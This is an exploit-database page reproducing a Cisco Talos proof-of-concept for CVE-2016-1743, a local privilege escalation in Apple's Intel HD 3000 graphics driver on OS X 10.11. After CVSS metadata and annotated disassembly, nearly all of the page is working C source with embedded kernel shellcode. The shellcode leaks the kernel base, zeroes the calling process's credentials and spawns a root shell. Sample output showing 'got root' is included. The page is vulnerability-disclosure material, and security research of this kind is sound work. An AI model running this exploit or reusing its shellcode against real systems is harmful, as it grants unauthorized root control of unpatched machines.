Apple Intel HD 3000 Graphics Driver 10.0.0 Privilege Escalation

2016.04.11
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

/* ??????????????????????????????????????????????????? ??????????????????????????????????????????????????? ??????????????????????????????????????????????????? T A L O S V U L N D E V Proof-of-Concept Exploit Advisory: http://www.talosintel.com/reports/TALOS-2016-0088/ Snort rules: 37517, 37518 CVE-2016-1743 Author: Piotr Bania, Cisco Talos Target: Apple Intel HD 3000 Graphics driver Impact: Local Privilege Escalation (root) Tested Configuration: Apple Intel HD 3000 Graphics driver 10.0.0 Darwin Kernel Version 15.2.0 OSX 10.11.2 Compilation: gcc TALOS-2016-0088_poc.c lsym.m -o TALOS-2016-0088_poc -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3 kudos: qwertyoruiop (i've grabbed the lsym thing from you) technical information (AppleIntelHD3000Graphics driver 10.0.0) : ... __text:000000000001AA4E mov ecx, [rcx] __text:000000000001AA50 add ecx, ecx __text:000000000001AA52 sub eax, ecx __text:000000000001AA54 cmp rbx, rax __text:000000000001AA57 ja loc_1AC8C __text:000000000001AA5D mov [rbp+var_54], esi __text:000000000001AA60 mov rax, [rdi] __text:000000000001AA63 mov esi, 168h __text:000000000001AA68 call qword ptr [rax+980h] ; # WE CAN CONTROL THIS # Expected output: mac-mini:bug mini$ uname -a Darwin BLAs-Mac-mini 15.2.0 Darwin Kernel Version 15.2.0: Fri Nov 13 19:56:56 PST 2015; root:xnu-3248.20.55~2/RELEASE_X86_64 x86_64 mac-mini:bug mini$ ./TALOS-2016-0088_poc ---------------------------------------------------------------- APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 by Piotr Bania / CISCO TALOS ---------------------------------------------------------------- Alloc: deallocating! Alloc: allocating 0x2000 (0x00000000 - 0x00002000)bytes Alloc: vm_allocate ok, now vm_protect ... Alloc: vm_allocate returned = 0 - addr = 0x00000000, vm_protect ok, filling Mapping the kernel MapKernel: kernel mapped Initializing service InitService: Trying: Gen6Accelerator InitService: service ok! Commencing stage 1 Stage1: Copying the stage1 payload 0x00001000 - 0x00001071 Stage1: Setting up the RIP to 0x00001000 Stage1: Copying trigger data Stage1: Making stage1 call Stage1: leaked kernel address 0xffffff8021e00000 Stage1: kernel address leaked, success! ResolveApi: using kernel addr 0xffffff8021e00000 (file base = 0xffffff8000200000) ResolveApi: _current_proc = 0xffffff8022437a60 ResolveApi: _proc_ucred = 0xffffff80223a9af0 ResolveApi: _posix_cred_get = 0xffffff802237e780 ResolveApi: _chgproccnt = 0xffffff80223a8400 Commencing stage 2 Stage2: preparing the stage2 payload Stage2: Copying the stage2 payload 0x00001000 - 0x00001071 Stage2: Setting up the RIP to 0x00001000 Stage2: Copying trigger data Stage2: Making stage2 call Stage2: success, got root! Stage2: now executing shell sh-3.2# whoami root sh-3.2# */ #include "import.h" /** defines **/ #define MEM_SIZE 0x2000 #define PAYLOAD_MEM_START 0x1000 #define INIT_SIG 0x0210010100000008 #define OFFSET_PAYLOAD_EXEC 0x980 #define OFFSET_ROOM 64 #define RESOLVE_SYMBOL_MY(map, name) lsym_find_symbol(map, name) - base + KernelAddr /** stage 1 payload - get kernel address and put it to 0x1000 ; memory space for kernel address nop nop nop nop nop nop nop nop save_regs64 ; get msr entry mov rcx, 0C0000082h ; lstar rdmsr ; MSR[ecx] --> edx:eax shl rdx, 32 or rax, rdx ; find kernel addr - scan backwards MAX_KERNEL_SCAN_SIZE equ 10000h KERNEL_SIG equ 01000007FEEDFACFh PAGE_SIZE equ 1000h mov rcx, MAX_KERNEL_SCAN_SIZE and rax, not 0FFFFFh xor rdx, rdx mov r8, KERNEL_SIG scan_loop: sub rax, PAGE_SIZE dec rcx jz scan_done ; is sig correct? cmp qword [rax], r8 jnz scan_loop mov rdx, rax scan_done: ; store the addr - rdx kernel addr, 0 if not found lea rcx, [shell_start] mov qword [rcx], rdx load_regs64 xor rax, rax xor r15, r15 ret **/ unsigned char stage1[113] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x32, 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x09, 0xD0, 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x01, 0x00, 0x48, 0x25, 0x00, 0x00, 0xF0, 0xFF, 0x48, 0x31, 0xD2, 0x49, 0xB8, 0xCF, 0xFA, 0xED, 0xFE, 0x07, 0x00, 0x00, 0x01, 0x48, 0x2D, 0x00, 0x10, 0x00, 0x00, 0x48, 0xFF, 0xC9, 0x74, 0x08, 0x4C, 0x39, 0x00, 0x75, 0xF0, 0x48, 0x89, 0xC2, 0x48, 0x8D, 0x0D, 0xA5, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x11, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 0xC3 }; /** stage 2 payload - escalate jmp over_api_table api_current_proc dq 0 api_proc_ucred dq 0 api_posix_cred_get dq 0 api_chgproccnt dq 0 over_api_table: save_regs64 mov rax, qword [api_current_proc] call rax mov rdi, rax ; rdi = cur_proc ; system v abi - rdi first arg mov rax, qword [api_proc_ucred] call rax ; rax = cur_ucred mov rdi, rax mov rax, qword [api_posix_cred_get] call rax ; rax = pcred mov dword [rax], 0 mov dword [rax+8], 0 load_regs64 xor rax, rax xor r15, r15 ret **/ #define OFF_API_START 2 #define OFF_API_CURRENT_PROC OFF_API_START #define OFF_API_PROC_UCRED OFF_API_CURRENT_PROC + 8 #define OFF_API_POSIX_CRED_GET OFF_API_PROC_UCRED + 8 #define OFF_API_CHGPROCCNT OFF_API_POSIX_CRED_GET + 8 // not used in this example unsigned char stage2[111] = { 0xEB, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0x05, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC9, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC5, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 0xC3 }; /** globals **/ uint64_t mem; io_connect_t conn; uint64_t KernelAddr = 0; lsym_map_t* MappingKernel = 0; uint64_t api_current_proc = 0; uint64_t api_proc_ucred = 0; uint64_t api_posix_cred_get = 0; uint64_t api_chgproccnt = 0; /** functions **/ uint64_t Alloc(uint32_t addr, uint32_t sz) { mach_error_t k_error; printf("Alloc: deallocating! \n"); vm_deallocate(mach_task_self(), (vm_address_t) addr, sz); printf("Alloc: allocating 0x%x (0x%08x - 0x%08x) bytes\n", sz, addr, addr+sz); k_error = vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0); if (k_error != KERN_SUCCESS) { printf("Alloc: vm_allocate() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error); exit(-1); } printf("Alloc: vm_allocate ok, now vm_protect ...\n"); k_error = vm_protect(mach_task_self(), addr, sz, 0, 7); //rwx if (k_error != KERN_SUCCESS) { printf("Alloc: vm_protect() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error); exit(-1); } printf("Alloc: vm_allocate returned = %d - addr = 0x%08x, vm_protect ok, filling\n", k_error, addr); while(sz--) *(char*)(addr+sz)=0; return addr; } int MapKernel(void) { MappingKernel = lsym_map_file("/mach_kernel"); if (!MappingKernel || !MappingKernel->map) { MappingKernel = lsym_map_file("/System/Library/Kernels/kernel"); } if (!MappingKernel || !MappingKernel->map) { printf("MapKernel: unable to map kernel, quiting \n"); return -1; } printf("MapKernel: kernel mapped \n"); return 1; } int ResolveApi(void) { uint64_t base = lsym_kernel_base(MappingKernel); api_current_proc = RESOLVE_SYMBOL_MY(MappingKernel, "_current_proc"); api_proc_ucred = RESOLVE_SYMBOL_MY(MappingKernel, "_proc_ucred"); api_posix_cred_get = RESOLVE_SYMBOL_MY(MappingKernel, "_posix_cred_get"); api_chgproccnt = RESOLVE_SYMBOL_MY(MappingKernel, "_chgproccnt"); printf("ResolveApi: using kernel addr 0x%016llx (file base = 0x%016llx) \n", KernelAddr, base); printf("ResolveApi: _current_proc = 0x%016llx \n", api_current_proc); printf("ResolveApi: _proc_ucred = 0x%016llx \n", api_proc_ucred); printf("ResolveApi: _posix_cred_get = 0x%016llx \n", api_posix_cred_get); printf("ResolveApi: _chgproccnt = 0x%016llx \n", api_chgproccnt); return 1; } int InitService(char *IoServiceName) { int type; io_service_t service; CFMutableDictionaryRef matching; io_iterator_t iterator; printf("InitService: Trying: %s \n", IoServiceName); matching = IOServiceMatching(IoServiceName); if( !matching) { printf("Initservice: IOServiceMatching() failed \n"); return -1; } if (IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator) != KERN_SUCCESS) { printf("InitService: IOServiceGetMatchingServices failed \n"); return -1; } service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL) { printf("InitService: IOIteratorNext failed \n"); return -1; } type = 0; conn = MACH_PORT_NULL; if (IOServiceOpen(service, mach_task_self(), 5, &conn) != KERN_SUCCESS) { printf("InitService: IOServiceOpen failed! \n"); return -1; } printf("InitService: service ok! \n"); return 1; } int Stage1(void) { unsigned char *p; unsigned char *p_ptr; kern_return_t k_error; char UselessStruct[4096]; size_t UselessStructSize = 0x14; p = (unsigned char*)mem; p_ptr = p + OFFSET_ROOM; printf("Stage1: Copying the stage1 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1)); memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage1, sizeof(stage1)); printf("Stage1: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START); *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START; printf("Stage1: Copying trigger data \n"); *(uint64_t*)p_ptr = INIT_SIG; printf("Stage1: Making stage1 call\n"); k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); KernelAddr = *(uint64_t*)PAYLOAD_MEM_START; printf("Stage1: leaked kernel address 0x%016llx \n", KernelAddr); if ((KernelAddr == 0) || (KernelAddr == 0x90909090)) { printf("Stage1: fatal kernel address is wrong, exiting \n"); return -1; } printf("Stage1: kernel address leaked, success! \n"); return 1; } int Stage2(void) { int i; unsigned char *p; unsigned char *p_ptr; kern_return_t k_error; char UselessStruct[4096]; size_t UselessStructSize = 0x14; p = (unsigned char*)mem; p_ptr = p + OFFSET_ROOM; printf("Stage2: preparing the stage2 payload \n"); unsigned char *t = (unsigned char*)&stage2; *(uint64_t*)(t + OFF_API_CURRENT_PROC) = api_current_proc; *(uint64_t*)(t + OFF_API_PROC_UCRED) = api_proc_ucred; *(uint64_t*)(t + OFF_API_POSIX_CRED_GET) = api_posix_cred_get; *(uint64_t*)(t + OFF_API_CHGPROCCNT) = api_chgproccnt; printf("Stage2: Copying the stage2 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1)); memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage2, sizeof(stage2)); printf("Stage2: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START); *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START; printf("Stage2: Copying trigger data \n"); *(uint64_t*)p_ptr = INIT_SIG; printf("Stage2: Making stage2 call\n"); k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); setuid(0); if (getuid() == 0) { printf("Stage2: success, got root! \n"); printf("Stage2: now executing shell \n"); system("/bin/sh"); exit(0); } printf("Stage2: failed! \n"); return -1; } int main(void) { printf(" ---------------------------------------------------------------- \n"); printf(" APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 \n"); printf(" by Piotr Bania / CISCO TALOS \n"); printf(" ---------------------------------------------------------------- \n\n\n"); IOServiceClose(0); IOServiceOpen(0, 0, 0, 0); // if this fails and we are done mem = Alloc(0, MEM_SIZE); printf("Mapping the kernel \n"); if (MapKernel() == -1) return -1; printf("Initializing service \n"); if (InitService("Gen6Accelerator") == -1) return -1; printf("Commencing stage 1 \n"); if (Stage1() == -1) return -1; if (ResolveApi() == -1) return -1; printf("Commencing stage 2 \n"); Stage2(); return 1; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top